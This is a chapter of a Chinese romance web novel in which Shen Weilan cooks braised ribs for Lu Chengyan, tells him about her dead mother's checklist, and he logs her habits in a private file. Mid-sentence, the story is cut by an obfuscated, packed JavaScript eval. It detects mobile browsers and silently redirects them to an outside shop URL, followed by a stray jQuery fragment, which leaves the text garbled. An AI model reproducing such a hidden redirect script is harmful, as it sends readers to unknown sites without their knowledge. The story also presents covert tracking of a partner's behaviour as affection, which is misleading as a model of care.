下午四点，沈微澜去了超市。
她公寓的厨房里只有咖啡机、微波炉，还有一个买来之后从未用过的电磁炉。她很少下厨，总是把时间投入到她认为性价比更高的地方。
但今天，她在生鲜区站了快十分钟。挑排骨的时候，她想起母亲。
母亲生前会做排骨，但不常做。沈家的厨房有厨师，母亲下厨的日子屈指可数，仅有的几次下厨，几乎都是做排骨。
她记得有几次，母亲系着围裙站在灶台前，把排骨放进锅里焯水，背影在油烟里显得很单薄。那时候她觉得母亲做菜太慢，总催她快一点，她好饿。
现在，她站在这儿，才发现原来挑一块排骨，要花这么久。
她用手指按了一下，不确定什么手感才算新鲜，问了旁边一个大姐。
大姐看她一眼：“姑娘你不常买菜吧。”说完，大姐帮她挑了一块新鲜的。
沈微澜道了谢。
“这有啥。”大姐不在意地摆摆手，扫了一眼她的购物推车，酱料、料酒、冰糖，“今天做红烧排骨吗？”
“嗯。”
大姐弯了一下唇，大概是觉得她面善，像看女儿似的，又传授了她几句做红烧排骨的秘诀。
五点半，沈微澜站在金融街公寓的厨房。
焯水时，油溅到她手背上，红了一小块。她冲了冲自来水，继续。
然后是炒糖色，她把冰糖倒进锅里，糖在锅里慢慢化开，透明变浅黄，再变深棕。她盯着锅，铲子翻得不大熟练。糖色炒过了，边缘泛起一点焦苦，她没有倒掉重来。
倒酱油的时候，酱油放了几勺，颜色深得有点重。
姜片切得厚薄不一，排在砧板上，像某种不规则的拼图。
米饭加水的时候她想了想，多了半指。
然后，她给陆承衍发了条消息：【在公寓。饭做好了，来吗？】
几秒后，陆承衍回复：【好。】
晚上七点半。
门铃响起，她刚好把排骨盛出来。
她打开门。
陆承衍站在门口，换了件深灰色大衣，没打领带，手里提着一个纸袋。
他高，站在公寓窄窄的门框里，显得这扇门有点委屈。大衣敞着，里面衬衫领口松着，露出一小截干净的颈线和凸起的喉结。
光线从他背后打过来，他的轮廓像被勾了一层很淡的边。
“什么。”沈微澜问。
“栗子蛋糕。路过上次那家烘焙坊。你说还可以。”
上次。沈微澜想起来，腊月二十八，他从S市回来，大衣上沾着雪粒，递给她一个栗子蛋糕，说“顺手买的”，隔着纸袋透过来，不热，但暖。
这么久过去了。
陆承衍换了拖鞋进来，把纸袋放在餐桌上，看了一眼厨房，灶台上摆着两个盘子，锅里冒着热气。电磁炉边缘有一小片溅出来的酱汁，凝成暗红色的硬块。姜片厚薄不匀，料酒瓶盖没拧紧。空气里是酱油、焦糖和肉的香气，混着某种不熟练的笨拙。
“你做的。”他说。
“不然是谁做的。”
陆承衍拉开椅子坐下。她盛好两碗饭端过来，他把其中一碗从她手里接过去，指尖擦过她的指背。她没有躲。米饭水多了，偏软，米粒黏在一起。青菜炒得有点蔫，油少了。排骨……
她夹了一块放进嘴里。咸。酱油味盖过了肉本身的味道。糖色里那一丝焦苦，咽下去以后才泛上来，很轻，在舌头根部。
对面的人夹了一块，嚼完，端起水杯喝了一口。
沈微澜问：“怎么样。”
“可以。”
“说实话。”
陆承衍把筷子放下，看了她一眼：“糖色炒过了，带苦。酱油偏多。姜片有几片没煸透，有生辣。整体掌控，比我预期的好。”
“你刚才喝那口水，”她说，“是因为咸了吧。”
他没说话。嘴角弯起一个个很轻微的角度。
“下次我给你做。”陆承衍说。
沈微澜抬头，他已经在夹第二块了，像刚才那句话只是顺口。她低下头，把青菜往米饭上拨，没有接话。
她嚼排骨的时候嚼得比平时慢，有点怀疑人生，为什么他可以语气平和地说“可以”。
吃完，她想收碗。
陆承衍站起来，伸手接过她手里的空盘，指尖不经意间擦过她的手背，停了一下。
他目光落下去，停在她手背上那块油溅出来的红印上。
“油溅的。”沈微澜说，语气平稳，像是预判了所有可能的关切，并且提前拒绝了它们，“冲过水了。”
陆承衍没说话。
他的拇指按上那点红印，力道很轻，轻得几乎没有重量。他并没有抚摸，似乎只是在确认，确认温度、程度、这是否算受伤。
他的手指落下去只一秒，甚至更短，短到不足以构成一个动作。
然后，陆承衍把手松开，接过盘子，转身端去厨房。
沈微澜在原地愣了几秒。
她脑子是空的，手背还在记着那个触感。她没许那个触感进来，但它进来了。
接着，她跟了进去。
陆承衍洗碗的姿势带着某种笨拙的机械感，他的手机在餐厅桌上响了一声。他看了一眼，没有走过去点开。
“沈鸿远明天上午要签的那块地，”他说，“谈崩了。”
沈微澜看他：“你做的？”
“嗯。”
两人没继续说话。他把洗好的盘子扣在碗柜里，让它们沥干水分。
……
洗完碗，两个人坐在沙发上，把栗子蛋糕分了，一人一半。窗外金融街的灯火连成一片碎金色，写字楼的玻璃幕墙反射着城市最后一点灰蓝色的天光。客厅没开顶灯，只有落地灯把沙发圈在一个暖黄色的小岛上。
“我妈有一张清单。”沈微澜开口，声线平稳，“是去世前写的。张妈，林家的老佣人，昨天带给我的。”
她没有解释张妈是谁，也没说在哪里见的她。陆承衍也没问。
“清单上写了四件事。我的期中考试。暖气检修。赵医生。信托文件。全都打了勾。”
空气很安静。
“她就是列这张清单之后没几天，从窗口掉下去的。”
空气更安静了，多了一些比刚才更深的东西。所有说出来的，没说出来的东西，都挤在了空气里。
陆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887681|212611||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
承衍把叉子放下。碟子搁在茶几上，发出很轻的一声。然后他伸手，把她面前的蛋糕碟子往她的方向推了两厘米。
就是那个距离。她前段时间从嘉恒回来那天晚上，把冬枣往他那边推过的那个距离。现在他推回来了。
沈微澜看着那个被推回来的碟子，把栗子蛋糕端起来，低头继续吃。
叉子落在奶油上的声音很轻。
窗外的霓虹漫进来，她的睫毛在脸颊上投了一小片阴影。
吞下去的那口蛋糕有点噎。她喉咙发紧，从开门看见他站在走廊里起，这口气就一直提着，没松过。直到他把碟子推过来，那口气才悄悄松了。
“陆承衍。”
“嗯。”
“你刚才说的‘下次’，算今天吗。”
陆承衍偏头看她。
落地灯的光落在她侧脸上，低马尾，一缕碎发落在耳边，发尾的自然卷微微翘起。
她没有化妆，嘴唇有一点干。下颌线还是和每一天一样利落。但她的眼神少了一层之前隔着的东西。
“算。”他说。
沈微澜把叉子搁在碟子上。“算了。还是改天吧。下次换一个菜。红烧太咸，不好吃。”
安静了几秒。他的声音里有一层很薄的、几乎听不见的弧度：“什么时候做？”
“我还没想好。”
“想好告诉我。”
窗外有夜风穿过楼群，像很远的地方有人在调试一把大提琴。
沈微澜停了一下，说：“下次来的时候，给我带杯黑咖啡。金融街路口那家的。不加糖。”
身旁安静了片刻。
“好。”
……
陆承衍回到陆家宅子已经十一点多。
管家迎上来，接过他的大衣。他上楼，进书房，打开电脑。
屏幕亮起来。
陆承衍打开“微澜区”的界面，光标在最新一条记录后面一闪一闪。
他打字：
【今天她做了红烧排骨。糖色炒过了。酱油多了。姜切得不匀。全部吃完了。】
【她说“下次来的时候，给我带杯黑咖啡。金融街路口那家的。不加糖。”】
【昨天她说“你不用来，只是告诉你”，她第一次在开始做事之前，把位置告诉了我。】
陆承衍刚建【微澜区】的时候，他只是想量化一个让他总是不由自主注视的女人的行为模式：咖啡摄入、深度睡眠时长、皱眉频率和种类、音频防御触发的语境类型。
他需要一个可验证的数据模型，来帮助他适应她的节奏。
但不知从哪一天起，这个文档里的所有变量，都开始变得不可度量。
她没有说谢谢，但她戴上了。
她好像很喜欢那个热水袋。
她把冬枣碟子推近了两厘米。
她在他肩膀上睡了好久，他舍不得动。
她发了孤零零的句号。
不知道从什么时候起，他的所有数据搜集都集中在她一个人身上。没有其他对象。
陆承衍在最后一行下面，加了一句：
【只要是她做的排骨，盐多了也没关系。我把排骨吃完就是对的。】